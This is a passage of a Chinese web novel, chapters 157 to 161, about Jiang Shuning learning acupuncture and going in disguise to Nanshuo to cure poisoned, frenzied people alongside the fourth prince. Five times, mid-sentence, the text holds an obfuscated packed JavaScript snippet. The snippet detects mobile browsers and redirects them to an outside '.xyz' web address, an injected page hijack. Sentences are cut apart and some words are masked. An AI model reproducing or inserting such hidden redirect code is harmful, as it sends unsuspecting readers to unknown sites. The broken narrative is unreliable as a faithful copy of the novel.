她强压住心头的恶寒,沉声道:“那给他们服用软筋散或迷药如何?” 孙神医苦笑一声,摇了摇头:“姜姑娘,那他们得愿意服用才行啊!总不能一个个设陷阱抓住,捆绑,再逼他们服药,再喂药施针吧?这得多耗费精力啊!” 姜姝宁皱眉思索片刻,脑中灵光一闪:“他们可有喜欢吃的食物?孙神医您方才说,他们跟野兽一样嗜血,那野兽喜欢吃的,他们也应该爱吃。到时候在食物里加入软筋散,他们便能失去反抗能力,乖乖配合治疗了!” “这也未尝不是一个解决的好法子!”他顿了顿,又有些担忧地看向姜姝宁,“只是,姜姑娘,这法子听起来可行,可要确认这些**之人爱吃什么,只怕没那么简单。毕竟,他们跟常人不同,已经无法正常交流了。” 姜姝宁神色一凛:“那便由我来试探**之人究竟喜欢吃什么!” 她迅速吩咐宅中的仆人采买各类肉食,猪、牛、羊、鸡、鸭、鹅乃至鱼肉一应俱全。 所有肉块皆切成大小均匀的肉块,整齐摆放在盘中备用。 姜姝宁手持筷子,逐一将肉块凑近病患嘴边,细细观察他的反应。 结果却让她大失所望。 无论哪种肉,哪怕是带着血水的新鲜肉块,病患都毫无兴趣。 难道**之人不喜欢吃肉类? 可孙神医方才明明说,他们见人便撕咬,莫非…… 姜姝宁心念一动,拔下发间的簪子,用簪尖划破指尖,将一滴鲜血滴落在盘中。 就在此刻,床上病患猛地耸动鼻翼,似是嗅到了世间至美的珍馐,眼中骤然放出贪婪的光芒。 果然! 他们渴求的,是人的血肉! 第157章 不逊男儿的坚韧与胆魄 第一百五十七章不逊男儿的坚韧与胆魄 “看来,这些**之人对人血的气味最为敏感。待到了南朔,只需将软筋散混入人血中,诱使他们服下,便可令他们暂失行动之力,便于施针治疗。” 姜姝宁稍作停顿,又郑重提醒道,“孙神医,烦请您备些能加速伤口愈合的药粉,届时给放血之人使用,尽量减轻他们的损伤。” “甚好!到时他们服下掺有软筋散的血,便不会剧烈挣扎,老夫施针也能顺畅许多。只是……” 孙神医话锋一转,原本舒展的眉头又紧紧皱起,“即便解决了病患挣扎的问题,要治愈他们仍是一件极耗心神与体力之事。南朔**的士兵与百姓为数众多,单凭老夫一人之力,恐难以应对啊!” 一旁的凌芜听着,心中也跟着揪紧。 她虽不通医术,却也明白,要救治如此多的人,仅靠孙神医一人,恐怕累死也救不过来。 他们需要更多的医者同行。 “孙神医放心,此事交由我来安排。我府中的府医与京中几位药铺大夫交情颇深,若有需要,我可请求府医说服他们一同南下,届时也能缓解燃眉之急。”姜姝宁沉声道,“不过,我有个不情之请。” “姜姑娘请说。” “孙神医,可否教我施针之术?我学东西颇快,到时也能为您分担担!” 此言一出,孙神医与凌芜皆是一愣。 “姜姑娘,你的意思是……” 姜姝宁迎上孙神医惊疑的目光,语气坚定,一字一顿道:“我想与你们一同前往南朔,助那些**的士兵与百姓治病!” “万万不可!”凌芜急忙开口,“小姐!南朔那地方凶险异常,到处都是**发狂之人,您怎能去那种地方!太危险了!况且……老爷与夫人定然不会同意!” “父亲母亲那边,我自有办法说服,你不必忧心。”姜姝宁微微一笑,语气柔和却不容置疑,“再说,我身边不是还有你吗?你定会护我周全的,对不对?” “可是……”凌芜欲言又止,脑海中不由浮现出萧凌川那张冷若冰霜的脸。 若是被四皇子知道,她把姜姑娘带去了如此凶险之地,他说不定会扒了她的皮!孙神医也劝道:“姜姑娘,这针灸之术,看似简单,实则深奥无比,内中学问浩如烟海,绝非一日之功便能掌握。 更何况,南朔之地凶险万分,你一介闺阁女子,怎能轻易涉足?若你执意前往,四皇子殿下还得分心护你安危,届时只会令他更加难以应对险境!” “孙神医,凌芜,我明白你们是在为我着想。”姜姝宁语气依旧平静,眼神却越发坚毅,“但如今南月猫之毒在南朔肆虐,残害我大邺士兵与百姓,我身为大邺子民,又怎能眼睁睁看着他们受苦而无动于衷? 况且,我并非毫无自保之力,我略懂箭术,足以护己周全。孙神医,凌芜,你们不必再劝,我心意已决。孙神医,请您先教我施针之法吧!” 看着姜姝宁那双明亮而果决的眸子,孙神医知道再劝也是徒劳。 这位姜姑娘看似柔弱,实则骨子里藏着一股不逊男儿的坚韧与胆魄。 “罢了,既然姜姑娘心意已定,老夫便将这针法倾囊相授。只是,学习过程颇为枯涩,还望姜姑娘能坚持到底。” “孙神医请放心,我定会用心钻研。”姜姝宁郑重应道。 接下来的几日,姜姝宁与四位愿同赴南下的大夫一道,在孙神医悉心教导下,全身心投入到针灸之术的学习中。 正如她所言,她悟性极高,学东西极快。 孙神医所讲的人体穴位、行针的深浅轻重、针法的种种变化以及排毒的关键穴道,她往往听过一两遍便能牢记于心,且能触类旁通。 她下针稳而准,指尖力道拿捏得恰到好处,那娴熟模样,丝毫不逊于那些在医馆苦学数年的医女。 孙神医在一旁看着,心中暗自惊叹。 他行医数十年,见过的天资聪颖之徒不在少数,但如姜姝宁这般通透灵慧、一点即明的,却实属罕见。 难怪那位眼界极高、心思深沉的四皇子殿下会对这位姜家小姐如此倾心。 这样一位集美貌、智慧与胆识于一身的女子,便是他这老朽见了,也由衷欣赏与欢喜,更何况那些情窦初开的年轻儿郎。 姜姝宁学习针术时格外用心,她深知大哥之仇未报,绝不能让萧凌川丧命南朔。 况且,倘若南朔被南月国以如此阴毒手段攻陷,与之仅一河之隔的南阳郡便会即刻暴露在敌军兵锋之下。 南阳若失,富庶的江南之地将门户大开。 届 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759002|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,南月国夺取大邺半壁江山,恐怕只是时间早晚之事。 如今大邺最骁勇善战的两位皇子皆被困南朔,她岂能因个人安危而置国家大义于不顾? 当她将这些深思熟虑的缘由一一向父亲姜丞相道明时,姜丞相脸上浮现出既担忧又欣慰的复杂神色。 “宁儿,若你是个男儿,凭你的才智与胆魄,定能为我大邺建功立业,成就一番事业!” 姜姝宁微微一笑,语气坚定:“父亲,女儿虽非男儿身,但前往南朔救治**百姓与士兵,不也是在为大邺尽一份力吗?” “说得好!宁儿不输任何男儿!”姜丞相赞许地点点头。 “那父亲这是同意了?”姜姝宁心中一喜,忙道,“此行凶险,还请父亲暂时不要告知母亲与家中他人,免得他们担心。” “此事确实该保密。你母亲近来身子孱弱,若是知晓,定会忧思成疾。放心吧,宁儿,若有人问起你的去处,为父便说你回了徐州外祖家探亲,短时间内不会归来。” “多谢父亲!”姜姝宁对着姜丞相深深一福。 她特意去了一趟将军府,将南朔之事告知夏嫣。 “此事本可直接上奏陛下,请求朝廷派人支援,但我担心有人从中作梗,故而只能私下寻找信得过之人一同前往南朔,以免错失解救两位皇子的最佳时机。我思来想去,你无疑是最佳人选之一。” 姜姝宁坦言道。 他们须提防萧修湛,免得他得知南朔如今的危急局势,趁机火上浇油。 不出所料,夏嫣听罢,当即表态愿同前往。 “我自是愿意!南朔毗邻南月国,若南朔失守,大邺离敌军入侵便不远了。即便不为解救二皇子,我也要为大邺百姓冒此一险!”夏嫣语气坚定。 姜姝宁欣慰一笑。 她渐渐明白了夏嫣对二皇子的感情。 二皇子心怀百姓,骁勇善战,这些正是夏嫣所向往的特质。 作为大邺女子,她无缘沙场杀敌,二皇子仿佛是她的另一个自我,替她完成那些她渴望却无法实现的事。 因此,前世他殒命后,夏嫣才会心如死灰,削发为尼。 既如此,今生她便要助夏嫣亲手实现建功立业、救国救民的志向! 让她为自己活一世! 第158章 这香囊不是给他的! 第一百五十八章这香囊不是给他的! 翠竹院内,凌芜仍有些忧心忡忡:“大小姐,您当真想好了?南朔路途遥远,危机四伏……奴婢真怕护不住您!” 她已经能想象出四皇子杀气腾腾的模样了。 姜姝宁笑着亮出手臂上的袖**,安慰道:“放心,我带着你送的袖**,足以自保,绝不会拖累你或其他人!” “大姐姐,拖累谁?”姜天泽好奇地凑上前,“你们刚才在聊什么?” 姜姝宁不动声色地收起袖**,笑道:“没什么,随口闲聊。对了,小白平时吃什么?你能否帮我准备一些?这两天我要和凌芜出门。” “大姐姐要去哪儿?”他追问道。 “徐州老家。” “我也跟你们去!”姜天泽急忙道。 “不必了,有凌芜陪我就够了。”姜姝宁婉拒,顿了顿又道,“你帮我准备些小白爱吃的食物吧,带在路上,免得它饿着。” “好,大姐姐稍等!” 姜天泽很快返回,手里提着一个竹篮。 凌芜接过竹篮,掀开盖子一看,吓得险些将篮子丢出去:“这、这是什么东西?” “怎么了?到底是什么?”姜姝宁好奇地探头一看,只见篮子里竟蠕动着几只尚未睁眼的粉嫩小老鼠,顿时胃里一阵翻涌,“小白吃这个?” “是啊,蛇最爱吃小老鼠了!”姜天泽笑得人畜无害,全然不觉有何不妥。 姜姝宁强忍不适问:“除了老鼠,还能喂它什么?” “还能喂虫子或者青蛙!”姜天泽答得干脆。 姜姝宁:“……”没有一种是她能带上路的! 凌芜连忙道:“大小姐,还是别带了,老鼠随处可见!” 一想到带着一篮子老鼠上路,她就觉得头皮发麻。 姜天泽笑着道:“大姐姐放心,蛇饿几天没事。小白很聪明,会自己捕食,就算不带吃的,它也不会饿死。” 凌芜嘴角微抽:三少爷,你怎么不早说! “那就好。”姜姝宁松了口气。 凌芜趁机劝道:“大小姐,连小白吃的这些东西你都怕成这样,真要去……‘徐州’吗?” 南朔那些**之人的可怕模样,可远比小白吃的这些食物骇人得多。 “我意已决,你不必再劝。”姜姝宁语气坚定。 姜天泽一头雾水,插话道:“大姐姐,凌芜姐姐,徐州有什么可怕的东西吗?” “没有!”姜姝宁和凌芜异口同声。 姜天泽:“……”他越发觉得她们在瞒着他什么。 为便于出行,姜姝宁与夏嫣女扮男装,与凌风一同骑马,护送着不擅武艺的孙神医及四位大夫一路南下。 与此同时,南朔城外的一处隐秘地窖内,空气中弥漫着一股潮湿的霉味,混杂着血腥气。 地窖里光线昏暗,只有几盏微弱的油灯在墙角摇曳,映得人影晃动,仿佛鬼魅一般。 萧凌川靠在墙角,他的脸色苍白如纸,额角渗着细密的汗珠,呼吸有些粗重。 先前与**的士兵和百姓搏斗时耗费了太多体力,他现在疲惫不堪。 即便如此,他那双深邃的桃花眸里依然闪着寒光,像是暗夜里的孤狼,时刻保持着警惕。 “四弟……咳咳……你不该来……”旁边的二皇子萧锦瑜半倚在墙上,声音虚弱得像是随时会断气。 他的脸色比萧凌川还要差上几分,嘴唇干裂,眼中布满血丝,身上披着薄毯,却依然止不住地瑟瑟发抖。 他在地窖里待了太长时间,已经许久没见过阳光。 再加上之前殚精竭虑,彻底病倒了。 地窖里没有药,他只能日复一日地熬着,直到昨日萧凌川带着士兵们找到了他。 萧凌川瞥了他一眼,语气冷硬:“二哥,说这些没用的话做什么?我既来了,就没打算丢下你。” 他顿了顿,目光扫过地窖里蜷缩成一团的南朔百姓,又低声补充道,“还有这些百姓,我定会带他们活着出去。” 萧锦瑜扯了扯嘴角,露出一丝苦笑:“我自然信你,只是……这地窖外那些怪物,哪是我们能轻易对付的?你带来的精兵……如今也……” 萧凌川的脸色越发难看,目光转向不远处被绑得结结实实的几名精兵。 他们原本是大军中的精锐,可如今却成了人不人鬼不鬼的模样,双眼猩红如血,喉咙里不断发出低吼,像是野兽般挣扎着要扑向周围的人。 绳索勒得他们手臂青筋暴起,可他们却毫无痛感,只顾着嘶吼和扭动。 “歹毒的南月人,这笔账我迟早要找你们算!”萧凌川咬紧牙关,拳头攥得咯咯作响。 地窖里的百姓缩成一团,个个面如死灰,有人低声啜泣,有人嘴里念叨着求神拜佛的话,还有几个年轻力壮的男子则满脸不忿,眼神时不时瞥向那几个变异的精兵,手中紧握着木棍和铁器,显然是做好了最坏的打算。 “四皇子殿下,咱可不能再等了!”一个满脸胡茬的大汉忍不住开口,声音里带着几分急躁和愤怒,“您瞧瞧这些怪物,随时可能挣脱绳子!到时候咱们谁也跑不了!我家老婆孩子还在地窖里,我不能眼睁睁看着他们被咬伤咬死!” “是啊,殿下!咱知道您是好心,可这些人……已经不是人了!留着他们就是个祸害!”另一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他拖着疲惫的身体走到地窖一角,从怀里小心翼翼地掏出一个香囊,下意识地将它拿到鼻息间轻嗅。 薄荷特有的香气驱散了他此刻心头的阴霾,让他紧绷的神经稍稍放松了一些。 油灯昏黄的光线洒在香囊上,萧凌川低头细看,眼神却突然一滞。 只见香囊一个不起眼的地方,用深绿色绣线绣着一个极小的“瑾”字。 那一瞬间,他的脸色骤变,瞳孔猛地一缩,心脏像是被什么狠狠揪住,呼吸都乱了节奏。 这香囊不是给他的,而是给萧怀瑾的! 第159章 别在这里碍事! 第一百五十九章别在这里碍事! 不知过了多久,地窖外原本不绝于耳,令人心胆俱裂的嘶吼声,竟然毫无预兆地停歇了。 突如其来的死寂,反而比之前的喧嚣更让人毛骨悚然。 一个负责守在地窖门边的士兵,侧耳贴着厚重的石门听了半晌,声音带着一丝不确定和压抑的惊恐:“殿下,外面好像没声响了。我们要不要……出去看看?” “外面”两个字,让地窖里好不容易平静下来一些的百姓脸上,再次掠过浓重的恐惧。 萧凌川眉峰紧锁,那双深邃的眼眸在昏暗的油灯光下显得愈发幽暗。 他将那个让他心绪翻腾的香囊重新塞回怀中,心口似乎还残留着发现那个“瑾”字带来的钝痛。 他深吸一口气,压下心头那股说不清道不明的郁气和隐痛,对身旁的萧锦瑜沉声道:“我带几个士兵出去看看。你在这里,守着这些**的士兵。若他们挣开绳索,威胁到其他人,那就……杀了他们。” 萧锦瑜在服用了萧凌川给的药丸后,脸色已经比先前好了许多。 他郑重地点头:“四弟,你放心。我绝不会让任何人伤害到大邺的百姓。” 萧凌川这才和几个士兵一同往地窖门口走去。 推开地窖沉重的门,一缕久违的阳光刺破了黑暗,斜斜地照了进来。 外面,真的安静了。 萧凌川率先提着剑,身形压低,如同一只蓄势待发的猎豹,小心翼翼地探出头去。 眼前的情景让他瞳孔微微一缩,握着刀柄的手指下意识地收紧。 地窖之外,原本那些追逐着活人,眼睛猩红,皮肤青黑,状若疯魔的百姓和士兵,此刻都七零八落地躺在地上,一动不动,仿佛**一般。 这到底,怎么回事? 就在这时,巷子深处传来一阵轻微的脚步声。 萧凌川眼神一凛,几乎是本能地,他身形一矮,如狸猫般悄无声息地闪身躲进了一旁破败的屋檐下。 他手中的长刀,在阳光下泛着冷冽的寒光。 其他士兵见状,也立刻紧张起来,纷纷寻找掩体。 脚步声越来越近,偶尔停顿,似乎带着一丝犹豫。 就在那身影即将走出巷子拐角的一刹那,萧凌川猛地暴起! 他左手如铁钳般扣向来人的肩膀,右手长刀一横,冰冷的刀锋精准无误地抵在了那人的脖颈之上! 入手的感觉却是一片柔软,带着女子特有的馨香。 他微微一怔,低头看去。 当看清被他制住的人的面容时,萧凌川整个人都僵住了,仿佛被一道惊雷劈中。 他甚至有那么一瞬间,以为自己因为连日苦战,心神耗损过度,出现了幻觉。 姜姝宁被他突如其来的袭击吓得花容失色,一双清澈的眼眸瞪得溜圆。 她穿一身男子长衫,乍一看像个清俊的少年。 “姝宁?”他的声音沙哑干涩,带着一丝连自己都未曾察觉的颤抖,“你怎么来了?” 他连忙松开钳制着她的手,想要收回抵在她颈间的刀。 但那锋利的刀刃已在她白皙娇嫩的脖颈上,留下了一道细细的血痕。 “该死!”萧凌川低咒一声,懊恼不已。 他想也没想,便伸出带着薄茧的指腹擦拭那道血痕。 谁知力道没控制好,反而将那细小的伤口磨得更红,血迹范围也因此晕开了一小片,衬得她那一片肌肤愈发白得晃眼。 “嘶……”姜姝宁下意识地倒抽一口凉气。 声音虽轻,却像一根针扎在萧凌川心上。 晕开的血痕仿若一朵妖冶的桃花,烙印在她颈间,竟有一种说不出的靡丽。 萧凌川的目光不由自主地在那片嫣红上停留了一瞬,喉结微微滚动了一下。 “抱歉,”他声音沉闷地开口,带着一丝不易察觉的狼狈,“我……力道没控制好。” 姜姝宁没好气地瞪了他一眼:“你向来如此,没轻没重!” 萧凌川只觉这话耳熟,好像在哪听过。 前世欢好之时,他失控沦陷,在她身上留下深浅不一的痕迹,她便会羞恼地嗔怪他“没轻没重”。 她的肌肤吹弹可破,稍一用力便会留下印痕。 她骂他鲁莽,他却故意说她太过娇气。 其实,他是故意的。 喜欢在她身上留下只属于他的印记,喜欢看她因他而染上媚色。 那些隐秘而偏执的占有欲,此刻如同毒藤般再次缠绕上他的心脏。 姜姝宁似乎也因为这句话,想起了某 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他喘了口气,继续说道,“若不是姜姑娘想出奇招,将在人血里混入特制的软筋散,再用那些血腥气引诱这些**的人吞食,我们恐怕如今还被他们围困着,更别说找到殿下你们被困的地窖了!” 凌风语气中满是对姜姝宁毫不掩饰的敬佩。 他们从未想到如此巧妙的法子。 姜姑娘果真聪慧,难怪殿下对她青睐有加。 “不过有点小聪明罢了!”萧凌川目光冷若冰霜,落在姜姝宁身上,“如今你也看到了,南朔遍地都是**的人,要治愈这么多人可不是小事!趁他们还没醒来,赶紧回京,别在这里碍事!” 第160章 赶都赶不走 第一百六十章赶都赶不走 面对他的驱赶,姜姝宁神色浅淡:“殿下有空在这里与臣女争论这些无关紧要的事情,不如抓紧时间,将二皇子殿下和那些未受感染的百姓从地窖里救出来!他们在地底下待了那么久,想必已经快撑不住了!” 萧凌川眉头蹙得更紧,周身散发出的寒气几乎能将空气冻结。 他没想到她竟然敢如此直白地顶撞他,而且还是当着这么多人的面。 “是啊,殿下,我们快去寻二皇子殿下吧……”凌风的话还没说完,就被萧凌川一记冰冷刺骨的眼神剜了过来。 他瞬间噤声,默默地和萧凌川先前带出来的几个士兵一起,快步朝着地窖的方向而去。 心中暗想:殿下和姜姑娘在闹别扭,还是别招惹他,以免殃及池鱼。 不多时,地窖厚重的石门再次被推开。 一个接一个虚弱不堪的百姓,被士兵们小心翼翼地搀扶着,从黑暗潮湿的地窖中走了出来。 他们面容憔悴,眼神中带着久困地下的茫然和对外界的恐惧。 看到久违的阳光,许多人都不由自主地眯起了眼睛,随即,便是喜极而泣。 “出来了!我们终于出来了!” “我还以为……我还以为要死在下面了……” “呜呜呜……太好了,那些怪物总算被制服了!” 喜悦、惊恐、庆幸……种种复杂的情绪交织在一起,化作一声声或高或低的哭喊,在空旷的街道上回荡。 就连先前还算镇定的二皇子萧锦瑜,在被搀扶出来,呼吸到外面带着尘土却自由的空气时,苍白的脸上也露出了几分劫后余生的激动。 萧凌川看着眼前这番景象,脸上紧绷的神色松动了几分。 他沉声吩咐凌风:“将这些百姓都带去城外我们扎营的地方安置。把我们带来的粮食先分给他们食用,务必让他们吃饱穿暖。” “是,殿下!”凌风领命,立刻组织士兵,开始护送这些虚弱的百姓前往城外军营。 随后,萧凌川又对凌风从城外带来的那些士兵下令:“你们,立刻将这些中了毒、服用了软筋散的人,用绳索都给我牢牢绑起来!一个都不能漏!确保他们无法再伤人,也方便孙神医为他们施针解毒。” “遵命!”士兵们齐声应道,动作迅速地开始执行命令。 一时间,街道上只剩下绳索摩擦和士兵们低沉的号令声。 姜姝宁看着眼前这有条不紊的一切,心想萧凌川虽然脾气臭了点,但在正事上,确实有条不紊,杀伐果断。 她没有闲着,招呼着夏嫣和凌芜,开始着手照顾那些刚刚从地窖里出来的百姓。 她们架起了几口大锅,烧火,熬煮米粥和草药。 药材的清苦香味和米粥的香甜气息渐渐在残破的街道上弥漫开来,驱散了些许死亡的阴霾,带来了一丝生机。 做完这一切,天色已经完全暗了下来。 几堆篝火在临时的安置点燃起,跳动的火焰映照着人们疲惫而又带着些许希冀的脸庞。 一场劫难即将被化解,众人心头安定了许多。 萧凌川处理完手头的事情,踱步走到姜姝宁身边。 她正蹲在一口锅前,拿着长柄木勺搅动着锅里翻滚的米粥,火光映在她专注的侧脸上,衬得她的眉眼格外柔和。 他看着她忙碌的身影,心中那股莫名的烦躁又涌了上来。 他不喜欢看到她这副为旁人操劳的模样,更不喜欢她身处险境。 “我送你回营帐。”萧凌川的声音依旧没什么温度,打破了这片刻的宁静,“明日天一亮,我便命人护送你回京。” 姜姝宁搅动米粥的动作一顿,她缓缓抬起头,看向站在身前的男人。 他身形高大,挡住了她面前的一片火光,一股无形的压力瞬间袭来。 “殿下,恕难从命。”她语气平静地说道,“我还得留下来,帮助孙神医给那些**的病患治病。孙神医年事已高,一个人要照料这么多人,定然忙不过来。” “给病患治病?你?”萧凌川轻笑,目光下意识地看向不远处正在给一个**士兵检查情况的孙神医,“孙神医,是这样吗?” 孙神医直起身子,笑呵呵地走了过来:“殿下,的确如此。姜……公子聪慧至极,悟性也高。老夫教给她的那套排**法,她已经完全掌握了,甚至在一些细节上还有自己的独到见解。她若能留在这里帮忙,确实能为老夫分担不少压力,也能让那些**的百姓和士兵尽快得到救治。” 萧凌川的脸色沉了沉,似乎还想再说些什么。 姜姝宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759005|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却不想再听他那些赶人的话,她站起身,直视着他的眼睛,语气坚定道:“殿下,我既然来了,就已经打定了主意要在这里帮忙。南朔城如今这个样子,多一个人便多一份力量。殿下还是别总想着赶我回去了!” 她的声音不大,却让周围所有人都忍不住看过来。 萧凌川见状,只冷冷丢下一句话:“随便你!” 便转身大步离开,背影带着显而易见的怒气。 “我明明能做很多事情,殿下为何总想把我赶走?难道在他心中,我就是只会拖后腿的人吗?!”姜姝宁有些愤愤道。 凌芜连忙低声安慰道:“大……公子,您别生气。殿下他是担心您的安全。毕竟这里这么危险,您又是千金之躯……” “担心我的安全?”姜姝宁撇了撇嘴,“我看他就是看我不顺眼!从在这里见到我的第一眼开始,他就没给过我好脸色!” 凌芜暗自腹诽:我的大小姐啊,你到底怎么想的?四皇子殿下怎么可能看你不顺眼? 明眼人都瞧得出,他巴不得将您捧在掌心、护在眼底! “罢了,救人要紧!”姜姝宁很快调整好情绪,“凌芜,你和我一起去那些暂时安置百姓的营帐里看看,找一找南朔城里还有没有幸存的大夫。我来教他们排毒的针法,这样一来,就能有更多帮手,帮患者将体内的毒排出来!” “好!”凌芜见自家小姐不再纠结于四皇子的态度,也松了口气,连忙应声。 主仆二人不再耽搁,立刻朝着百姓们所在的营帐方向走去。 夜色渐深,她们的身影很快融入了摇曳的火光和忙碌的人群之中。 另一边,萧凌川怒气冲冲地回了自己的营帐,脸色阴沉得能拧出水来。 “从未见过如此执拗的女子,赶都赶不走!” 二皇子萧锦瑜跟着他回到营帐,知道他在说姜姝宁,忍不住道:“四弟,你这又是何苦呢?姜姑娘千里迢迢从京城赶到这凶险的南朔城,定然是担心你的安危,才会不顾一切地过来帮忙。你不是应该高兴吗?怎么一见了她反而板着一张脸?” “担心我的安危?”萧凌川脑海中却不受控制地浮现出那个绣着“瑾”字的香囊。 他冷哼一声,语气中带着一丝自嘲和苦涩,“她对我,可没有那么深的情意!” 第161章 有这么明显吗? 第一百六十一章有这么明显吗? 姜姝宁带着凌芜,在安置百姓的营帐中仔细询问了一番,果然找到了几个侥幸躲过一劫的大夫。 这些大夫本就有一些医术,加上此刻救人心切,学起来都格外认真。 很快,在姜姝宁的悉心指导下,他们便都掌握了这套排**法的诀窍,开始在其他**的患者身上进行施针。 随着时间的推移,越来越多的**患者在接受了排**法的治疗后,情况开始好转。 他们眼睛里的猩红之色渐渐褪去,露出了原本的瞳色;脸上和皮肤上的青黑色也逐渐淡化,恢复了些许正常的血色;最重要的是,他们身上那股令人不寒而栗的戾气和疯狂的攻击性,仿佛也随着毒素的排出而消失了。 虽然**时耗损了太多精气,再加上身上受了不同程度的伤,他们如今十分虚弱,只能躺在简易的床铺上,每日靠着米粥和汤药调养身体。 但对于那些日夜为他们担惊受怕的亲人来说,这已经是天大的好消息了! 看着自己的亲人从疯魔的状态恢复如常,那些未受感染的南朔百姓们激动得热泪盈眶,纷纷跪倒在萧凌川的营帐前,向他磕头谢恩。 “四皇子殿下!您真是我们南朔城的大救星啊!” “殿下,您之前在地窖里向我们承诺,无论如何都不会放弃任何一个人,您说到做到了!我们南朔城的百姓,对您万分感激!” “殿下大恩大德,我们永世不忘!” 萧凌川站在营帐门口,看着那些跪在地上,对他叩首的百姓,深邃眼眸中的思绪晦涩难辨。 姜姝宁站在不远处,静静地注视着这一幕。 前世,萧凌川登基后的种种,她无从知晓。 但今生,她亲眼见证了他为南朔百姓所做的一切。 尽管他性情冷峻,难以亲近,然在大是大非面前,却展现出皇子应有的担当与责任。 她相信,这样的萧凌川,将来定会是一个受万民敬仰的好皇帝。 不知不觉,姜姝宁在南朔城竟已待了近一个月。 这段时日,她每日都忙得脚不沾地。 除了为那些余毒未清的患者施针,巩固疗效,便是教导那些临时学医的大夫们更精细的针法和药理。 她的施针技术在大量的实践中突飞猛进。 其他本领皆是前世早已掌握,唯独医术是她重生后新学。 早知道学医能救那么多人,她前世就应该早点学,哪怕当个医女,也比日日在景王府里讨好夫君强。 除了医病救人,姜姝宁还发现南朔城内的食物实在匮乏得可怜。 将士们每日操练、巡防、参与重建,体力消耗巨大,却只能啃着干硬的麦饼,喝着寡淡的菜粥。 于是,她便将城中一些赋闲的妇人组织起来,一起琢磨起了菜式。 她们还将有限的粗粮想方设法做出花样,玉米面混着野菜做成菜团子,麦麸掺了豆粉烙成薄饼。 姜姝宁在南朔一直女扮男装,凭借精湛医术,深得百姓爱戴,皆亲切唤她“姜大夫”。 一位大娘见她眉清目秀、行事稳重,喜爱不已,笑问道:“姜大夫今年几岁?可曾定亲?” “在下十七,尚未定亲。”姜姝宁答道。 “才十七,医术便如此了得,姜大夫真是人中俊杰!”大娘笑容满面,“我家闺女年方二八,模样性子皆出挑!不如安排你们见上一面,结门亲事如何?” 姜姝宁一惊,忙摆手:“大娘,这可使不得!在下……”可是女子,怎能与女子结亲? 见她推辞,大娘有些不悦:“莫非姜大夫为朝廷做事,便瞧不上我们小门小户?” 姜姝宁解释道:“绝非如此!大娘,在下还年轻,暂无成亲打算。大娘,您的好意在下心领了!” “怕什么?定亲又不急着成亲,先与我闺女见个面嘛!”大娘仍不依不饶。 此时,萧凌川正好巡营归来,路过伙房,本是被阵阵饭香吸引的,听到了说话内容,当即推门而入。 姜姝宁与众妇人连忙起身行礼:“见过四皇子殿下!” 萧凌川目光落在姜姝宁身上,又扫过众妇人,冷声道:“姜大夫是本皇子的人,她的婚事自有本皇子做主!谁敢擅自做媒,也得问问本皇子答不答应!” 这话透着丝丝寒意,众妇人皆是一颤。 那位极力撮合女儿的大娘更是吓得直哆嗦:“是民妇冒失了,求殿下恕罪!” 萧凌川冷哼一声,转身离去。 姜姝宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773242|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连忙推开门追上前,对着他的背影道:“殿下,多谢您为我解围!” 萧凌川蓦然转身,目光冷如冰霜:“姜姑娘当真魅力过人,在京城迷得男子神魂颠倒,到了南朔,连女子也为你倾倒!我倒要怀疑,你是不是会下什么情蛊!” 姜姝宁被这话气得脸颊绯红:“殿下是在嘲讽臣女招蜂引蝶吗?” “难道不是?”萧凌川冷笑,掏出藏在怀中的竹青色香囊,抛还给她,“还请姜姑娘往后别拿准备送旁人的东西来敷衍我!” 看到那香囊,姜姝宁脸更红了。 她终于明白,近日萧凌川对她态度恶劣的缘由——他发现了此香囊并非为他所绣,而是给萧怀瑾的。 香囊上犹残留他身上的余温,姜姝宁心头涌起一股复杂情绪。 明知这香囊非为他所绣,他却始终未曾丢弃。 要知道,前世即便是送他的香囊,他也是随手丢弃,从未珍惜。 今生的萧凌川,真的变了很多。 当晚回到营帐,她让凌芜取来针线。 “大小姐要缝什么?奴婢帮您吧!”凌芜道。 “不用,我想绣个香囊送人,还是亲手做更有诚意。” “香囊?送给谁呀?”凌芜好奇追问。 “四皇子殿下。” 